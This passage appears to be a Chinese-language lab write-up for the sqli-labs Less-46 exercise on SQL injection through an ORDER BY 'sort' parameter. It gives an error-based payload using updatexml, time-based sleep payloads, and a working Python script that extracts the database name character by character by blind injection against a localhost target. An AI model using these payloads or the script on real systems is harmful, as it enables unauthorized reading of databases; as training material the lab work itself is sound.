如果我们直接用列去排序
?sort=username/password
username:

passward

可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)
报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现
?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3
- # -*- coding:utf-8 -*-
- """
- @Author: lingchenwudiandexing
- @contact: 3131579667@qq.com
- @Time: 2024/2/25 16:31
- @version: 1.0
- """
- import requests
- import time
- from bs4 import BeautifulSoup
-
-
- """
- 查表名
- 查列名
- 查具体字段内容
- if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
- if(ascii(substr(database(),1,1))>110, sleep(3), 0)
- """
- def inject_database(url):
- name = ''
- for i in range(1, 100):
- low = 32
- high = 128
- mid = (low + high) // 2
- while low < high:
- payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
- res = {"sort": payload}
- r = requests.post(url, params=res)
- html = r.text
- soup = BeautifulSoup(html,'html.parser')
- getUsername = soup.find_all('td')[1].text
- if getUsername == 'admin3':
- low = mid + 1
- else:
- high = mid
- mid = (low + high) // 2
- if mid == 32:
- break
- name += chr(mid)
- print(name)
-
- if __name__ == "__main__":
- url = 'http://127.0.0.1/sqli/Less-46/index.php'
- inject_database(url)